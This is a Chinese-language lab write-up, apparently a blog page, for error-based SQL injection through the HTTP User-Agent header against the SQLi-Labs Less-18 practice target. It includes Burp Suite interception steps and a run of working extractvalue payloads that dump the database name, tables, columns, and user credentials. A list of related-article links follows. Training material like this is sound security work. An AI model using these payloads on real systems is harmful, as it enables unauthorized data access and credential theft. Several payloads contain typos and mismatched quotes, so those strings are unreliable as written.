SQL注入--HTTP头部注入
实验目的
理解HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义
和作用,掌握HTTP头部注入的原理、方法及基本流程。
实验原理
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证
等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent.
Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-18为入口,利用报错注入的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。
1.访问SQLi-Labs网站
在攻击机 Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站 Less-11。访问的URL为:
http://[靶机IP]/sqli-labs/Less-18/(注意大小写)
2.利用Burpsuite工具进行抓包
(1)启动Burpsuite
(2)设置Burpsuite的代理服务端口
在Burpsuite软件界面上选择选项卡“Proxy"->”Options”,在Proxy Listeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端
口)。
(3)开启Burpsuite的代理拦截功能
在Burpsuite软件界面上选择卡“Proxy"->”Intercept”,将拦截开关按钮的状态设置为”Intercept is on”
4)设置Firefox代理
回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择”为全部URLs启用代理服务器127.0.0.1:8080”:
(5)利用Burpsuite工具拦截HTTP请求包
在FireFox浏览器访问的Less-18登录验证界面,输入用户名admin、密码admin,然后点击Submit按钮
(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块。
选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择"Send to Repeater",将其发送给Burpsuite的Repeater模块。
发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。
后续的步骤中,可以在 Repeater 选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在 Response栏中观察目标服务器的响应。
3.寻找注入点
在原始 HTTP请求包的头部字段User-Agent末尾添加单引号,即使用如下
payload:
User-Agent:Mozilla/5.0......Firefox/97.0'发现服务器端报错!
在原始HTTP请求包的头部字段User-Agent末尾添加如下符号,使用如下
payload:
User-Agent:Mozilla/5.8......Firefox/97.0',','')# 服务器端未报错!
由此可以判断,目标网站在POST参数处存在字符型注入点。
注如果在服务器端(靶机)上查看Less-18的 php代码,会发现其中存在这样一段代码:
$insert="INSERT INTO `security'. 'uagents'( uagent', ' ip_address', 'username')VALUES ( '$uagent' ,'$IP', $uname)";
这也是一种基于Insert的注入场景。
4.获取网站当前所在数据库的库名
使用以下 payload获取网站当前所在数据库的库名:
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,database())),'','')#显示结果为security.
5.获取数据库security的全部表名
使用以下payload获取数据库security的全部表名:
User-Agent:Mozilla/5.0... . ..Firefox/97.0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#
显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。
注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示上述 payload可以改为:
User-Agent:Mozilla/5.e......Firefox/ 97 .0' and extractvalue(1,concat('~ ' ,(select table_name from information_schema.tables where table_schema='security' limit 0,1))),',' )#
1/显示security库中的第1张表的名字
User-Agent:Mozi1la/5.0... . ..Firefox/97.0' and extractvalue(1, concat('~' ,( select table_name from information_schema.tables where table_schema='security’ limit 1,1))),’,')#
1/显示security库中的第2张表的名字
User-Agent:Mozilla/5.0.... ..Firefox/ 97.0' and extractvalue(1,concat('~' ,( select table_name from information_schema.tables where table_schema='security' limit 2,1))),',')#
1/显示 security库中的第3张表的名字
6.获取users表的全部字段名
使用以下 payload获取users表的全部字段名:
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1, concat('~' ,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name="users'))),,")#
显示结果,users表中有id、 username和 password三个字段
同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示,上述payload可以改为:
User-Agent:Mozilla/5.0.... ..Firefox/97.0'and extractvalue(1,concat('~' ,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'",'")#1
//显示 users表中的第1个字段的名字
User-Agent:Mozilla/5.8... ...Firefox/ 97.0'and extractvalue(1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),","')#1
//显示 users表中的第2个字段的名字
User-Agent:Mozilla/5.0... . . .Firefox/97.0'and extractvalue(1,concat( '~',(select column_name from information_schema.columns where table_schema='security' and table_name='users ' limit 2,1))),"',"')#1
//显示users表中的第3个字段的名字
7.获取users表id、username和password字段的全部值
由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过 limit M,N的方式逐条显示,如
(1)显示第1组数据
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,(select concat_ws( ' , ',id,username,password) from security.users limit 0,1))),,")#
显示结果为 Dump,Dump。
(2)显示第2组数据
User-Agent:Mozil1a/5.0.... ..Firefox/97.0' and extractvalue(1,concat( '~' ,(select concat_ws( ' , ',id,username,password) from security.users limit 1,1))),,")#
显示结果为Angelina,l-kill-you。
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
实验至此结束。
实验总结
本次实验,成功实现了对存在 HTTP头部(User-Agent)注入点的网站的手工SQL注入,掌握了HTTP头部注入的原理、方法和流程。
SQL注入--HTTP头部注入相关推荐
- SOL注入——HTTP头部注入(2)(七)
本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...
- SQL注入-HTTP头部注入
访问SQLi-Labs网站 在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-11.访问的URL为: http://[靶机IP ...
- SQL注入——HTTP头部注入
实验目的 理解HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义 和作用,掌握HTTP头部注入的原理.方法及基本流程. 实验原理 有时候,后台开 ...
- SOL注入——HTTP头部注入(六)
本章目的 普及HTTP头部字段User-Agent.Referer.Cookie.X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理.方法及基本流程. HTTPHeader概述 ...
- 注入攻击-SQL注入和代码注入
注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...
- SQL注入简介和注入方法教学
文章目录 SQL注入原理 SQL注入危害 SQL注入判断 SQL注入的分类 按参数类型分类 按数据库返回结果分类 按注入点位置分类 按参数类型分类 数字型 字符型 搜索型 按数据库返回结果分类 回显注 ...
- 网络安全——HTTP头部注入
一.HTTP头部注入概述 1.HTTP工作原理 2.HTTP报文类型 (1).请求报文 (2).响应报文 3.HTTP头部内容 referer主要用来统计页面访问次数 二.HTTP头部注入 1.原理: ...
- SQL注入之MySQL注入学习笔记(二)
补充:MySQL注释方法 文章目录 MySQL注入 基本介绍 字符型 数字型 搜索型 Cookie注入 HTTP头注入 具体实例 数字型注入 一般类型 被单引号包裹起来的 双引号加小括号包裹 两个括号 ...
- SQL注入天书-ASP注入漏洞全接触
引 言 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序 ...
最新文章
- DeepMind开源强化学习环境,灵活可配置,计算资源有限的小型实验室也能用
- 特效html布局,一些好玩的css特效
- swarm:pending_WildFly Swarm:使用Java EE构建微服务
- mfcc中的fft操作_简化音频数据:FFT,STFT和MFCC
- python des加密文件_Python DES加密解密方法 pyDes库 兼容中文
- 机器学习焦点,范德比尔特(Vanderbilt U)的医疗机器人以及更多开源新闻
- 好慌!支付宝App现“不锈钢内裤” 官方解释:已改为“煮内裤的锅”
- RToax / fedora-coreos-config: [sysroot.mount] mount: wrong fs type, bad option, bad superblock on /
- Leetcode每日一题:416.partition-equal-subset-sum(分割等和子集)
- MASQUERADE
- 四个跑马灯的c语言程序,入门编程语言跑马灯,C语言设计跑马灯程序
- 开源可视化网页抓取工具Portia 爬虫
- 电脑记事本在哪个文件夹
- 微信小程序底部导航栏配置
- 【编译原理】自上而下语法分析(C/C++源码+实验报告)
- 用ip地址远程登录linux的软件,如何远程登陆已知 IP地址的电脑?
- IOS 设备越狱原理
- burp小技巧之抓单个网站包
- Hi3516A/Hi3516D SDK 安装以及升级使用说明
- 棋盘放芝麻:有一个棋盘,有64个方格,在第一个方格里面放1粒芝麻重量是0.00001kg,第二个里面放2粒,第三个里面放4,棋盘上放的所有芝麻的重量(代码)
热门文章
- cmsplus实战之仿[我扫网]之一:仿站开发工程简要说明及目的
- web简易数字型验证码实现(超简单)
- 本科计算机专业软考证书,我有1本软考证书,但不知有什么用
- 英伟达首次开源内核、GitHub 强制用户身份验证、Google 悬赏 150 万美元找安卓漏洞 | 开源月报 Vol. 06...
- MySQL 一个字段多个id查询
- 10kv配电网潮流 matlab,MATLAB配电网三相潮流程序设计
- 即时配送的ETA问题之亿级样本特征构造实践-笔记
- 北大青鸟败诉 两名员工打赢“竞业禁止”官司
- 基于回归神经网络的中文语句模型实践(Python+Tensorflow+阿里云)
- Linux带箭头的截图软件,Flameshot:你们要的超强Linux截图软件